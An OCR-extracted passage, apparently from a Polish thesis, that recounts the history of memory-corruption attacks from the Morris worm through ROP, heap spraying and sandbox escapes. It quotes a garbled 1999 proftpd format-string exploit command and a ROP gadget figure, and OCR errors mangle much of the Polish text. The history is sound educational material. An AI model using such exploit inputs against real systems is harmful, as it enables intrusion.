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1. Wprowadzenie

Zgodnie z Raportem 0 Stanie bezpieczenstwa cyberprzestrzeni RP w roku 2014 opublikowanym
przez Rzadowy Zespdt Reagowania na Incydenty Komputerowe CERT [1], odsetek atakow
komputerowych w ostatnich latach ulega dynamicznemu wzrostowi. Tylko w 2014 roku, jednostka
polska odnotowata prawie siedem i p6t tysigca incydentow bezpieczenstwa. Gtoéwnym czynnikiem
stojacym za tymi incydentami byly wirusy komputerowe rozprzestrzeniajace si¢ najczesciej przez
bledu w oprogramowaniu. Podmiotami odpowiedzialnymi za te ataki sa juz nie tylko osoby
pojedyncze, ale rowniez w pelni autonomiczne i zorganizowane grupy przestgpcze, na roOwni z
utrzymywanymi w tajemnicy zespotami ofensywy cybernetycznej, finansowanymi przez rzady — jak
np. grupa Tailored Access Operations (TAO) wchodzaca w sktad oddziatu Singal Intelligence
(SIGINT) agencji bezpieczenstwa narodowego (NSA) dziatajgcej w Ameryce. Agresorzy za cele
swoich atakow biorg przede wszystkim systemy komputerowe instytucji z sektora energetycznego,
systemy rzadowe i osoby publiczne. Ataki prowadzone sa najczesciej na wielu réznych frontach —
poczawszy od bezposrednich kontaktow z osobami lub systemami posredniczacymi, najczesciej w
celu pozyskania informacji, skonczywszy za$ na zautomatyzowanych atakach za pomoca wirusé6w
komputerowych — na najbardziej wrazliwe systemy informatyczne. Przyktadem ostatnich mogg by¢
ataki w 2009 roku za pomocg wirusa Stuxnet na systemy SCADA, a konkretniej na sterowniki PLC
komunikujace si¢ z komputerami osobistymi kluczowych inzynieréw, pracujacych w jednostkach
wzbogacania uranu [2]. Wspdlnym mianownikiem wigkszosci atakow komputerowych jest
odwieczna pogon za poszukiwaniem i wykorzystywaniem bledow bezpieczenstwa, tkwigcych w
oprogramowaniu i konfiguracji tegoz, tak aby doprowadzi¢ do uzyskania informacji o systemie, badz
dokona¢ destabilizacji jego pracy i skloni¢ do wykonania wiasnych instrukcji. Przykladem
prowadzacym do osiagnigcia drugiego celu sa najbardziej powszechne techniki atakéw na
oprogramowanie komputerowe, zwlaszcza za pomoca bledow wykorzystania pamigci operacyjnej
komputera. Majac btednie napisane oprogramowanie, atakujacy jest w stanie naduzy¢ blad, ktory
doprowadzi bezposrednio do wykonania kontrolowanego przez atakujacego kodu, co prowadzi za$
do kompromitacji calej maszyny i niejako wtamania na nig, gdzie przez wtamanie mozemy rozumiec
uzyskanie przez atakujgcego niekontrolowanej mozliwo$ci wykonywania instrukcji przez niego

podanych.

1.1. Krétka historia atakéw komputerowych z wykorzystaniem naruszenia pamieci

Na skutek pewnych pomytek programistycznych, w kodzie kompilowanych programéw powstaja
btedy, ktére cho¢ moga nie wptywac na dzialanie oprogramowania i mogg istnie¢ w nim cate lata
nieodkryte, to kiedy juz zostang znalezione przez wprawnego agresora - postuza do masowych
infekcji i wlaman. Atakujacy koncentrujac si¢ na okreslonym celu jego kampanii, zbierze informacje
o celu, ktére zostang wykorzystane do zamodelowania srodowiska i analizy mozliwej powierzchni
ataku. Nastepnie atakujacy przystapi do wiernego odtworzenia Srodowiska w jakim pracuje jego cel,
rozpocznie analize bezpieczenstwa tego srodowiska co moze zakonczy¢ si¢ odkryciem pewnych
btedow w kodzie. To za$ odkrycie postuzy do przygotowania wirusa komputerowego, ktory w
sposob automatyczny bedzie miat dotrze¢ do celu, sprobowaé wykorzysta¢ odkryte bledy
bezpieczenstwa, a nast¢gpnie w jak najszybszym czasie rozprzestrzeni¢ si¢ infekujac mozliwie
najwigce] maszyn. Efektem takiej masowej infekcji (to jest tylko jeden scenariusz ataku,
wykorzystujacy oprogramowanie wirusowe w celu szybkiej ekspansji) bedzie dostarczenie
atakujacemu dostepu do réoznych maszyn dziatajacych w otoczeniu badz wewnatrz perymetru celu.
Jednym z pierwszych przyktadow takiego ataku, cho¢ nie bezposrednio ukierunkowanego, byt robak
Morris przygotowany w pazdzierniku roku 1988 roku.



Robak internetowy Morris za swoj wektor infekcji wykorzystywat program fingerd — bedacy
ustuga unixowsa, Swiadczacy za$ funkcjonalno$¢ zwracania informacji o odpytywanym systemie,
badz konkretnym uzytkowniku tego systemu [3]. Morris poprzez wykorzystanie bledu przepetnienia
buforu na stosie! podczas korzystania z funkcji gets(), doprowadzat do wykonania wtasnego kodu w
kontekscie ustugi fingerd. Ustuga miata podatno$¢ w miejscu, w ktorym deklarowata 512-bajtowy
bufor na stosie programu — dla wywotania funkcji gets() nie sprawdzajac przy tym ile faktycznie
bajtow wezytuje do bufora podczas wywotania danej funkcji. Robak Morris za$, poprzez wystanie
536-bajtowego ciggu danych, z odpowiednio przygotowanym formatem (zawierajgcym binarny kod
powloki® na stosie zdalnego systemu), doprowadzal do uruchomienia powtoki systemowej. Morris
atakowal wowczas systemy operacyjne VAX?, ktore byly wykorzystywane miedzy innymi w
amerykanskiej firmie NASA — ktora rowniez padta ofiarg masowe]j epidemii Morrisa. Efektem
epidemii robaka byly straty ocenione na 100,000 do 10,000,000$ oraz wtamania do tysiecy réznych
komputeréw prywatnych i rzadowych, gdzie nalezy pamigtaé, ze w tamtych czasach na $§wiecie
istniaty wylacznie #ysigce komputerow.

Dnia 6smego listopada, roku 1996 w ramach internetowego magazynu Phrack opublikowany
zostal artykul nazwany Smashing The Stack For Fun and Profit, autorstwa Eliasa Levy’ego
postugujacego si¢ pseudonimem Aleph One [4]. Byt to wowczas jeden z najbardziej innowacyjnych
1 jednocze$nie piorunujgco inspirujacych tekstow technicznych. Elias Levy jako pierwszy
udokumentowat i opisat zjawisko naruszenia stosu roboczego watku dzialajacego programu poprzez
zapisywanie poza zakres zaalokowanego na stosie bufora pamieci (mimo iz ta klasa podatnosci byta
wykorzystywana duzo wczesniej — przynajmniej od czasow robaka Morrisa). Samo pojecie
Smashing (ang. rozbijanie, druzgotanie, tluczenie) zostato wyjasnione w sposob nastepujacy przez
autora:

., [...] it is possible to corrupt the execution stack by writing past the end of an array declared auto
in a routine. Code that does this is said to smash the stack”

Autor we wprowadzeniu do swojej pracy wspomina o podatnosciach przepeknienia buforu na
stosie odkrytych w popularnych aplikacjach *nixowych jak syslog, sendmail, mount. W dalszej jej
czesci opisuje po krotce architekturg pamigei uruchomionego programu, funkcje i budowe stosu
watku, przyktady kodow korzystajacych z buforow pamieci umieszczonych na stosie, by nastepnie
przejs$¢ do opisu podatnosci i sposobu naruszania struktury stosu by uzyska¢ zdalne wywotanie kodu
(RCE, Remote Code Execution), a wigc Swiety Graal poszukiwany przez ekspertow bezpieczenstwa
komputerowego. Podatnos¢, ktéra gdy odkryta, daje natychmiastowa mozliwo$¢ przejecia kontroli
nad dziatajagcym systemem.

Wraz z uptywem czasu, dziedzina bezpieczenstwa komputerowego nabierata rozpedu. Coraz
wiecej badan, dyskusji, kodow udowadniajacych dang teze (tzw. Proof-of-Concept), wiruséw oraz
exploit’6w". Badane byty na przyktad sposoby obchodzenia niewykonywalnego stosu na platformie
Solaris — w ten sposob powstata metoda znana jako ret2libc. Niewykonywalny stos to cecha regionu
pamigci zabraniajaca procesorom tadowania instrukcji z tego regionu w celu wykonania. Jak si¢
okazato, mozna omina¢ to zabezpieczenie sterujac wykonaniem si¢ programu do kodu biblioteki
LIBC [5]. Nastepnie badania zaczeto rozszerzac na inne aspekty systemow operacyjnych. Naturalnie
wigc kolejnym celem badan stat si¢ region pamigci procesoOw zwany Stertg. W ten sposob odkryto

1 Ang. Stack-based buffer overflow

2 Ang. Shellcode — kod majacy na celu doprowadzenie do uzyskania dostepu do linii polecen systemu (shell)
3 Virtual Address Extension — systemy projektowane i budowane miedzy rokiem 1977 i 1999-2000. System
ten byt nastepcg PDP-11

4 Exploit — specjalnie przygotowany program majacy na celu wykorzysta¢ zadang luke bezpieczeristwa i
wprowadzi¢ program komputerowy w $cisle okreslony stan, np. uruchomic na nim zdalnie dostepna linie
polecen



nowa klase podatnosci zwang przepetnieniem bufora na stercie®. Pierwszym ktory opisat te klase
podatnosci byt Matt Conover [6]. Zaprezentowal on tym samym sposoby przepelniania bufora w
regionie sterty / BSS na systemach solarisowych. Oto bowiem okazato si¢, ze znana programistom
jezyka C funkcja malloc() to zacheta do powaznych probleméw, gdy niewykorzystywana jest
nalezycie.

Kolejnym krokiem w badaniach nad bezpieczenstwem wykorzystania pamigci operacyjnej w
oprogramowaniu staly si¢ funkcje znane z jezyka C, ktore formatowaly ciagi tekstowe do zadanego
schematu, tj. printf, scanf, sprintf. W ten sposob, dnia 20 wrzes$nia 1999 opisany zostat btad nazwany
Format String bug znaleziony w programie proftpd 1.2.0pre6 [7]. Autor odkrytego btgdu podat
prosty przyktad wykorzystania podatnosci:

[}

ftp> 1ls aaaXXXX%usususususususususuUIUIUTUIUSUSUSUSUTUIUSUIUSUSUIUSUSU

01707797790

FususususuUIUIUSUIUE653300usn

(replace the X's with the characters with ascii values
Oxdc, 0x4f,0x07,0x08 consecutively)

Po czym dalej autor przekonuje, ze po zalogowaniu si¢ do serwera, oraz wykonaniu podanej
komendy — automatycznie zalogowany uzytkownik uzyskuje dostep do linii polecen systemu z
uprawnieniami uzytkownika root. Tak nastaty czasy wykorzystywania, badania i szukania btedow
w format stringach.

Wracajac do btedow przepemien bufora, nalezy wspomnie¢ o dniu 18 czerwca 2001 roku, kiedy
to zostata odkryta podatnos¢ serwera Microsoft IIS w rozszerzeniu ISAPT, a konkretniej filtrach
obstugujacych pliki * . ida (podatno$¢ oznaczona jako MS01-033). Niedtugo trzeba byto czekaé, az
wykryta podatnos$¢ zostata wykorzystana do opracowania wirusa komputerowego. Tym wirusem
miat sta¢ si¢ Code Red Worm, po raz pierwszy opisany przez analitykow z firmy eEye. Wirus ten
poprzez masowe wyszukiwanie serwerow dziatajacych na okre$lonej wersji I1S oraz korzystajacych
Zrozszerzenia ISAPT znajdowat cele, ktore nastepnie korzystajac z tej luki bezpieczenstwa atakowat.
Efektem tego byta masowa epidemia i seria atakoéw na serwery udostepniajace witryny internetowe.
W ten oto sposéb pokazano i udokumentowano przypadek odkrycia podatnosci bezpieczenstwa,
ktora natychmiast zostata wykorzystana do opracowania wirusa komputerowego.

Jest rok 2001, grupa stojaca za rozwojem bardzo waznego rozszerzenia do systemu linuxowego
(majacego znaczaco podnies¢ bezpieczenstwo tego systemu), zwanego PaX wprowadza
zabezpieczenie nazwane ASLR (Address Space Layout Randomization). Zabezpieczenie to,
omowione w dalszej czg$ci pracy, znaczgco zmieni kierunek rozwoju exploit’éw oraz badan
bezpieczenstwa. Poprzez randomizacj¢ adresow roznych struktur, regiondw pamiegci nalezacych do
systemu operacyjnego, mechanizm ten nieuchronnie wyeliminuje wszystkie napisane wczesniej
programy oraz wirusy wykorzystujagce bledy bezpieczenstwa. Oto bowiem na sztywno zapisane
adresy w pamigci operacyjnej wskazujace na pewne kluczowe dla systemu operacyjnego stuktury,
sekwencje kodu — przestang by¢ godnymi zaufania, gdyz te struktury i miejsca bedg za kazdym razem
pod innym adresem. Pierwotnie, zabezpieczenie to niedtugo dawato rezultaty, gdyz juz rok pdzniej
opublikowana zostata praca nazwana ,,Bypassing PaX ASLR Protection (ret-2-libc)” [8], gdzie jak
sam tytut wskazuje — udato si¢ oming¢ ten mechanizm. Tyler Durden w swoim tekscie sklasyfikowat
innowacyjng metode jako pochodng techniki return-into-libc czyli sposobu naduzycia btedu
bezpieczenstwa poprzez przekierowanie przeptywu wykonania programu do kolejnych funkcji z
biblioteki L1BC (standardowej biblioteki jgzyka programowania C), dzigki czemu mialo si¢ udaé
uzyskac dostep do linii polecen. Czas mijal, firmy produkujace kompilatory (jak np. firma Microsoft
z ich $rodowiskiem Visual Studio) zaczely rozwija¢ mechanizmy, ktére na poziomie binarnym
miatyby powstrzymywac typowe btedy przepelien bufora oraz innych naduzy¢. Wraz z rozwojem
technik obronnych, powstawaly coraz to bardziej pomystowe sposoby obchodzenia tych
zabezpieczen czego efektem ubocznym czesto byly nowe techniki i pochodne juz obecnych,

5> Ang. Heap-based buffer overflow



znaczaco rozwinigte i bardziej elastyczne. I tak, w odpowiedzi na powstanie mechanizmu weryfikacji
poprawnosci buforéw na stosie (tzw. Stack Canary — omowiony pézniej) wprowadzanego statycznie
do binarnego kodu tworzonego programu (przetacznik /Gs w kompilatorach firmy Microsoft),
badacze zaczeli obmysla¢ nowe sposoby obchodzenia tego zabezpieczenia. Efektem tej pracy byty
przer6zne techniki, jak np. Structured Exception Handler Overwrite (SEH Overwrite) [9]. W
systemach Microsoft Windows, gdy wystapi wyjatek programowy — np. podczas odwotywania si¢
do nieistniejacego regionu pamieci (Access Violation), lub podczas przepethienia stosu wywotan na
skutek nieprzerwanej rekurencji (Stack Overflow), generowany jest wyjatek systemowy, czego
efektem bedzie oddanie sterowania do zarezerwowanych przez uzytkownika fragmentow kodu (lub
funkgcji), ktore mialyby obstuzy¢ wyjatek jaki wystapit. Jest to innymi stowy implementacja
mechanizmu try..catch znanego z jezyka programowania C++. Odkryta technikg bylo takie
wykorzystanie zarezerwowanych funkcji obstugujacych wyjatek, aby przekierowa¢ do nich
wykonanie programu dzigki czemu uda si¢ unikngé sprawdzenia tegoz kanarka (co doprowadzitoby
do powstrzymania ataku).

Niedlugo branza musiala czeka¢ na odpowiedz Microsoftu, ktory udostepnit w swoich
kompilatorach dodatkowa opcje¢ kompilacji — /SAFESEH, ktora to miata zapobiec tego typu
technikom. Nic bardziej mylnego, atakujacy i w tym przypadku odkryli nowe metody obchodzenia
tego mechanizmu. W trakcie trwania wyscigu atakujgcych i programistéw z nimi walczacych, drugi
front badan, ktory interesowat si¢ blgdami przepeknien sterty programowej poczynit olbrzymie kroki
do przodu. W wyniku préb powstrzymania tego typu btedéw branza utworzyta mechanizm ochrony
przed wykonywaniem kodu w regionach pamieci oznaczonych jako niewykonalne. Mechanizm ten
znany byt duzo wczesniej z platformy Solaris, jednakze do tej pory niestosowany poza nig. W ten
sposOb powstato zabezpieczenie znane jako Nx (Non-Executable) lub w nomenklaturze
microsoftowej DEP (Data Execution Prevention). Dodatkowym utrudnieniem miato by¢ wsparcie
sprzetowe od producentow procesorow — firma Intel do swoich nowych procesorow Itanium Merced
produkowanych w roku 2001, dodata zabezpieczenie pod nazwa xD — Execution Disabled bit. Idea
byta taka, aby procesor podczas wczytywania (instruction fetching phase) instrukcji do rejestru
procesora w celu wykonania jej — najpierw upewnit si¢, ze adres z ktérego pochodzi ta instrukcja, a
raczej region pamigci, nie ma ustawionego atrybutu ,,niewykonywalny”. Je§li ma — procesor generuje
wyjatek, jesli nie — instrukcja jest wykonywana. Mechanizm ten stosowany miat by¢ na regionach
sterty oraz stosach programowych. Niedtugo jednak trwato, az zaczely powstawaé dokumenty
opisujace sposoby obchodzenia tego mechanizmu [10], a nawet wrecz wylaczania wsparcia
sprzetowego dla tego rozwigzania za pomoca wywotania tylko dwoéch funkcji! [11] Kolejnym
krokiem byly dokladne badania nad sposobem alokowania i zwalniania pamigci ze sterty w
systemach operacyjnych. Badania te doprowadzily do nowych technik naruszen mechanizmu
odpowiedzialnego za zarzadzanie pamigcia operacyjng w systemie operacyjnym (Virtual Memory
Manager, vMM), za$ dotyczyly problemu bezpiecznego odpinania zaalokowanego bloku pamieci z
listy dwukierunkowej przechowujacej ostatnio zwolnione bloki (tzw. Unsafe Unlinking of the
lookaside list + freelist[0] exploitation). Dalsze badania doprowadzity do wielu nowych technik —
czy to ujawniania pamigci programowej (Memory layout leakage) — co pozwalato obchodzi¢
zabezpieczenie ASLR, czy tez naduzycia typu Double-Free Vulnerabilities w ramach ktorych
naruszano algorytmy zwalniania zaalokowanej pamieci w systemowym menedzerze pamigci na
skutek podwdjnej dealokacji.

Kolejnym przetomem w branzy bezpieczenstwa okazata si¢ praca nazwana Heap Feng shui in
Javascript opracowana przez eksperta bezpieczenstwa komputerowego Alexandra Sotirova [12].
Jezyk Javascript jako technologia tworzenia nowoczesnych stron internetowych jest
implementowany w ramach $rodowiska uruchomieniowego przegladarek internetowych.
Przegladarki internetowe za$, to natywny program dziatajacy bezposrednio w kontekscie sesji
uzytkownika w warstwie systemu operacyjnego. Jako programy, przegladarki tez borykaja si¢ z tymi
samymi btedami bezpieczenstwa. Najtrudniejsza histori¢ tutaj prezentuje przegladarka ze stajni
Microsoftu — Internet Explorer, ktéra juz od 1998 ma duze problemy z bezpieczenstwem, nie
wspominajac o totalnej kompromitacji wersji od szdstej do 6smej. Wracajac jednak do meritum,



praca Sotirova pokazata w jaki sposob mozna zbudowac stabilny exploit w pamigci przegladarki
internetowej pomimo obecnych zabezpieczen typu ASLR czy DEP. Wykorzystana w tym celu
(odkryta dtugo przed praca Sotirova) technika Heap Spraying polegajaca na takim zasmieceniu sterty
programowej — by rozsia¢ kod z exploitem po jak najszerszym obszarze pamigci procesu
przegladarki, okazata si¢ by¢ olbrzymim utatwieniem w stabilnym uruchomieniu kodu exploita, bez
konieczno$ci zabijania przy tym procesu przegladarki. Graficzng reprezentacje tej techniki
przedstawiono na rysunku 1.1. Po lewej stronie pokazano obszar sterty programu w typowym trakcie
jego wykonania. Po prawej za$ stronie widnieje sekcja pamigci, ktora ulegta heap sprayingowi.
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Rysunek 1.1. Prezentacja techniki Heap Spraying. Zrédlo: http://www.fuzzysecurity.com

Krotko po opisaniu tej techniki, branza ofensywna skierowata swoja uwage na powierzchnie
bezpieczenstwa tworzong przez przegladarki internetowy uzywane przez uzytkownikow i1 wtyczki
multimedialne wykorzystywane przez te przegladarki tj. Flash Player czy Silverlight. Niedtugo
trzeba byto czekac, az zaczety powstawac artykuly naukowe dokumentujgce coraz to kolejne zdalne
ataki na wyzej wymienione wtyczki i przegladarki. Efektem takich prac byly nowo powstajace cate
zestawy exploitow, tzw. Exploit-Kity, ktore poprzez ustalenie wersji przegladarki uzytkownika — z
poziomu kodu Javscript’owego, oraz ustalenie obecnos$ci i wersji uzywanych przez niego wtyczek,
dostarczaty odpowiednie dopasowane do wersji exploity, a wszystko w celu szybkiego przejecia
kontroli nad maszyng ofiary. Caty ten proces zostatl znaczaco usprawniony dzieki technice Heap
Spraying opisanej z punktu widzenia Javascript’u przez Sotirova.

Kolejnym czekajacym branze bezpieczenstwa przetomem w tworzeniu exploit’éw, miata by¢
technika zwana jako Return-Oriented Programming. Cho¢ pierwotnie odkryta w 2005 roku (opisana
w pracy Borrowed Code Chunk Exploitation) to dotarcie do szerszego grona odbiorcow nastgpito
dopiero w roku 2008 za sprawa pracy The Geometry of Innocent Flesh on the Bone: Return-into-libc
without Function Calls [13]. Technika ta byta uzupelieniem znanej wczesniej metody return-into-
libc, w ktorej przekierowywano wykonanie programu do wnetrza funkcji w bibliotece LIBC. Tym
jednak razem, kod exploitow miat by¢ budowany na skutek krotkich sekwencji instrukcji procesora
tzw. Gadzetow, ktore gdy po kolei wykonane razem wspottworzyly peten, kompletny w sensie
Turinga ,jezyk programowania”. Okazatlo si¢ bowiem, ze mozna wyszukiwa¢ w pamigci
okreslonych sekwencji instrukcji, faczy¢ je ze sobg poprzez skoki/wywotania funkcyjne co razem
utworzy pewien w petni funkcjonalny kod, majacy na celu np. udostepnic lini¢ polecen w systemie
atakujgcemu. Jednym gadzetem mogg by¢ np. cztery instrukcje wykonujace sumowanie rejestru
pierwszego z drugim, nastepnie przekierowanie wykonania do kolejnego gadzetu, dalej pobranie
warto$ci z rejestru i odlozenie jej na stosie, przekierowanie wykonania i ostatecznie gadzet
wykonujacy wywotanie jakiej$ okreslonej funkcji.


http://www.fuzzysecurity.com/

Stack Instructions

pop eax
8331c034 ‘,-ret
42304120 ' bop ebx
831e5201 P eret
00032400 e mov eax, [eax]
P _.ret
832a34b5 e
8324F321 o=~ »add eax, ebx
_.----ret
83294a3a \
pop ecx
42304120 ret
83200265 =227
mov [ecx], eax
ret

Figure 1: An example ROP exploit which adds the con-
stant 0x32400 to the word at address 0x4a304120. At the
left is the stack of the process with the addresses of the
gadgets and the values to initialize the registers. At right
are the instructions at those addresses.

Rysunek 1.2. Przykladowa sekwencja ROP. Zrédlo: Nicholas Carlini, David Wagner; University of
California, Berkeley. ROP is Still Dangerous: Breaking modern Defenses.
http://nicholas.carlini.com/papers/2014 usenix_ropattacks.pdf

Przyktadowa sekwencja wywotan ROP jest kod zaprezentowany na rysunku 1.2. W ramach
niego, najpierw wykonywany jest gadzet ztozony z instrukcji $Sciagnigcia ze stosu wartosci do
rejestru EAX oraz powrdt. W ramach powrotu dokonywany jest transfer wykonania w miejsce
wskazywane na szczycie stosu programowego. Procesor wczytuje nastepng instrukcje spod adresu
wskazywanego na stosie. Nastepnie przejécie do gadzetu §ciagajacego wartos$¢ ze stosu tym razem
do rejestru EBX. Dalej, pobranie wartosci spod adresu wskazywanego przez EAX do tego samego
rejestru, dodanie do rejestru EAX wartosci przechowywanej w EBX, $ciggnigcie wartos$ci ze szczytu
stosu do rejestru ECX i odlozenie wyniku sumowania pod adres wskazywany w rejestrze ECX.
Biorac pod uwage, ze stos (jego zawarto$C) jest kontrolowana przez atakujacego w ramach
wykonywanego exploita, uzyskuje on w pelni funkcjonalng operacje dodawania dwoch wartosci po
to by odlozy¢ je pod wskazywany przez exploit adres.

Konsekwencja tak daleko idacego rozwinigcia dziedziny projektowania i badania atakéw na
oprogramowanie bylo rozwijanie si¢ rynku tworzacego wirusy komputerowe oraz wspomniane
wczesniej exploit-kity. Powstala nowa technika, nazwana drive-by-download, w ramach ktorej
wejscie pod zainfekowang strong internetowa skutkowato wykonanie si¢ exploit-kita, ktory nastgpnie
jesli sukcesywnie przejal kontrole nad oprogramowaniem klienckim uzytkownika, inicjowat
pobranie wirusa komputerowego z okreslonej zdalnej lokalizacji. W odpowiedzi na rozwijajace si¢
zainteresowanie atakami client-side (czyli na przegladarke, oprogramowanie klienckie uzytkownika,
wtyczki multimedialne, czytniki dokumentow — jak Adobe Reader dla PDFow lub oprogramowanie
MS Office), branza zaczeta rozwijaé koncepcje sandbox’éw. Sandboxem nazywaé bedziemy
warstwe otaczajaca dany komponent, ktdry wiemy, ze moze zosta¢ wykorzystany do ataku. I tak, dla
przyktadu, wiedzac iz popularnym celem atakow sa wtyczki flashowe — zaréwno producenci
przegladarek (wyrdznienie tutaj dla firmy Google) jak i sami producenci owych wtyczek (Adobe)
rozwijaja whasne sandboxy, ktore maja na celu by¢ pewna warstwa ograniczajaca mozliwg interakcje
z systemem operacyjnym z poziomu kodu wykonywanego pod kontrola sandboxa. Jest to innymi
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stowy granica, mur (piaskownica) ktérego kod wykonujacy si¢ w jej obrebie nie moze przekroczy¢
niezauwazenie, bez zgody tzw. Brokera — mechanizmu kontroli sandboxa. Zanim jednak przejde do
konkluzji watku z sandboxami, nalezy wprowadzi¢ jeszcze jedno pojecie.

Kiedy wykonywany jest kod z przywilejami zwyktego uzytkownika, kod ten ma takie same
uprawnienia jakie ma ten uzytkownik. Jesli uzytkownik nie moze odczyta¢ haset z globalnego
repozytorium tychze, to takze program dziatajacy z tokenem bezpieczenstwa tego uzytkownika — nie
bedzie w stanie. Co innego jednak, jesli z poziomu uzytkownika, na skutek btedu bezpieczenstwa w
systemie operacyjnym, lub zainstalowanym oprogramowaniu, uda si¢ znalez¢ i wykorzysta¢ btad
klasy privilege escalation. Btedy tej klasy popularne juz od lat 90. znajduja szczego6lne zastosowanie
po pomyslnie dokonanym wtamaniu na systemem poprzez wykorzystanie innej podatnos$ci. Jesli na
przyktad atakujacy sprowokowat uzytkownika do otworzenia specjalnie spreparowanego dokumentu
PDF z osadzonym exploitem, wykorzystujacym podatnos¢ w stosowanym przez uzytkownika
czytniku dokumentéw PDF (np. Adobe Reader), to w wyniku otworzenia tego dokumentu, na skutek
wykorzystania podatnosci — kierunek wykonania si¢ watku czytnika PDF zostanie sprowadzony na
tor kodu atakujacego, czym tez uda si¢ dokona¢ wtamania i np. potaczy¢ z atakujacym. Jednakze,
nawet jesli atakujacy na skutek wtamania uzyska dostep do komputera ofiary, nie gwarantuje mu to
mozliwosci wykonania innych, bardziej szkodliwych w swoich skutkach dziatan — jak np. kradziezy
danych, hasel, tozsamosci, infekcji systemu operacyjnego, utrzymania dostepu itd. Moze bowiem si¢
okazac, ze atakujacy operuje w kontekscie sesji uzytkownika, ktory nie ma wigkszych przywilejow.
W takiej sytuacji, atakujacy moze pokusi¢ si¢ o rekonesans w lokalnym systemie, ustalenie wersji
oprogramowania, znalezienie potencjalnych btedow (znanych dotad badz nie) po to by nastepnie
dostarczy¢ i wykona¢ inny rodzaj exploita. Ten exploit mialby na celu poprzez btad naruszenia
pamigci doprowadzi¢ tym razem nie do uruchomienia powtoki, ktora atakujacy juz obstuguje, ale
np. podnies¢ przywileje uzytkownika do administratora. Jest to tzw. atak Vertical Privilege
Escalatio. Najczestszg histori¢ zastosowan takich atakow odnotowuje platforma Linux, gdzie celem
atakujacych jest jak najszybsza elewacja do tokenu z uprawnieniami root’a, a wigc uzytkownika
uprzywilejowanego. W systemach Microsoftu dotychczas szeroko stosowang praktyka bylo i jest
stosowanie najczesciej jednego uzytkownika, dziatajacego od razu z przywilejami Administratora.
W takim przypadku jedynym scenariuszem wykorzystania ataku podniesienia przywilejow mogtaby
by¢ sytuacja, w ktoérej atakujacy chciatby uzyskaé jeszcze wyzsze przywileje celem np.
zainstalowania bardzo zaawansowanego wirusa tj. rootkita. W takim przypadku atakujacy
potrzebowatby przywilejow uzytkownika SYSTEM, ktory lezy w hierarchii przywilejow wyzej od
grupy administratorow.

Teraz gdy mamy przyblizone pojecie privilege escalation, mozna rozwingé mys$l zwigzang z
sandboxami. Otéz, w obecnych czasach, gdy juz uda si¢ przeprowadzi¢ atak na np. kontener z
wtyczka multimedialng, jaka jest Flash Player (np. proces plugin-container.exe stosowany przez
Firefoxa), to nie powiedziane bedzie jeszcze, ze atakujacy przejat kontrole nad komputerem. W celu
osiagnigcia tego celu, atakujacy bedzie musial dotozy¢ teraz staran, aby albo znalez¢ podatnos¢ albo
wykorzysta¢ znang dotychczas — ktdra pozwoli na ucieczke z sandboxa (Sandbox escape/bypass).
Technika ucieczki z sandboxa bardzo mocno czerpie z techniki Privilege Escalation zar6wno
konceptami, jak i rezultatem dziatania. W wyniku ucieczki z sandboxa (co najczesciej wigzac si¢
musi z wykorzystaniem btedu w architekturze tego mechanizmu i komunikacji jego z brokerem, lub
tez wykorzystaniem innej cechy systemu operacyjnego) wywotana zostanie sytuacja, ktora pozwolita
by na przeniknigcie poza ramy sandboxa (jak np. wykonanie takiej operacji graficznej, w wyniku
ktorej w ramach sandboxa uda si¢ wygenerowac i wykorzysta¢ btad w sterowniku obstugi warstwy
graficznej systemu — w przypadku systeméw Windows, mowa tu o sterowniku Win32k.sys, ktory
stynie z dtugiej historii podatnosci).

Jak wykazano, historia atakéw komputerowych spowodowanych wykorzystaniem btedow
naruszenia pamieci operacyjnej jest dtuga, bogata w rozne ,,zwroty akcji” oraz innowacyjne i



niespodziewane spostrzezenia. Odkrycie opisujace nowg technike ataku zawsze bylo kontrowane
odpowiedzig spotecznosci, ktora przygotowywata podwaliny teoretyczne i rozwiagzanie praktyczne
majace na celu udaremnienie danego ataku. Na takie proby udaremniania szybko odpowiadalo sie
kontrami dokumentujacymi kolejne techniki, wariacje i sposoby pisania exploit’é6w. Obecny kurs
rozwoju tej dziedziny, jaka jest bezpieczenstwo oprogramowania i systemow operacyjnych,
swiadczy o duzym postegpie poczynionym od pierwszych odkry¢, jakimi byty proste przepeinienia
bufora. W obecnych czasach przepeklienie bufora nie jest juz tak proste, z uwagi na obecno$¢
zaawansowanych technologii przeciwdziatajacych takim atakom, jak réwniez podniesionej
swiadomosci programistow piszacych nowy kod — w mysl tzw. Secure Developement Lifecycle —
polityki bezpiecznego rozwoju i budowy oprogramowania. Ponad 20 lat badan i rozwazan w sferze
bezpiecznego wykorzystania pamigci operacyjnej komputera dzisiaj pokazuje jak trudnym procesem
byly zmagania, by uczyni¢ komputer przecigtnego uzytkownika bardziej odpornym na ataki z
zewnatrz. Pamigta¢ jednak nalezy, ze obecny stan rzeczy jest daleko rozwinigtym konceptem
prostego przepehienia bufora. Wszystko zaczgto sie od tego, ze kto$ wpisal wiecej znakow na
klawiaturze, niz program spodziewat si¢ otrzymac.

1.2. Charakterystyka zagrozen

W poprzednim podrozdziale oméwiono histori¢ atakow wykorzystujacych bledy naruszenia
pamigeci, czynigc tym samym system niebezpiecznym w uzytku. Warto zastnowic si¢ jednak, co to
oznacza, ze system jest badz nie jest bezpiecznym. Cho¢ zostato réwniez po krétce juz opisane, warto
jeszcze raz, dogltebniej zastanowi¢ si¢ nad tym, jaka konsekwencja moze by¢ wykorzystanie btedu
naduzycia pamigci, jaka konsekwencjg dla koncowego uzytkownika bedzie wpadnigecie w takg
pulapke. Ponadto, warto rowniez omowic, przynajmniej po krotce, jaka dziedzina technologiczna
jest zagrozona tymi atakami, gdzie mozna wykorzysta¢ omawiane tutaj techniki.

Zaczng zatem od definicji bezpiecznego systemu komputerowego. Jedna z akademickich prob
zdefiniowania pojecia bezpiecznego systemu wywodzi si¢ z modelu bezpieczenstwa Bell-La Padula,
ktoéry zostat opisany w 1976 roku (wyprowadzony teoretycznie juz w 1960). Byta to jedna z bardziej
udanych prob, ktora korzystata z maszyny stanow skonczonych:

,, System jest bezpieczny wtedy i tylko wtedy, gdy uruchamiany jest on w stanie bezpiecznym i nie
moze przejs¢ do stanu niebezpiecznego” [14]

Taka definicja cho¢ wydaje si¢ rozsadna i intuicyjna ma pewne wady, kiedy spojrze¢ na nig z
punktu widzenia inzynierii oprogramowania. Jak komentuje Michal Zalewski w swojej Splgtanej
Sieci [15]:

e , Nie ma mozliwosci zdefiniowania pozgdanego zachowania odpowiednio zlozonego

systemu.” [15]
Nie istnieje bowiem jedyna stuszna definicja i rozréznienie czym jest stan bezpieczny w
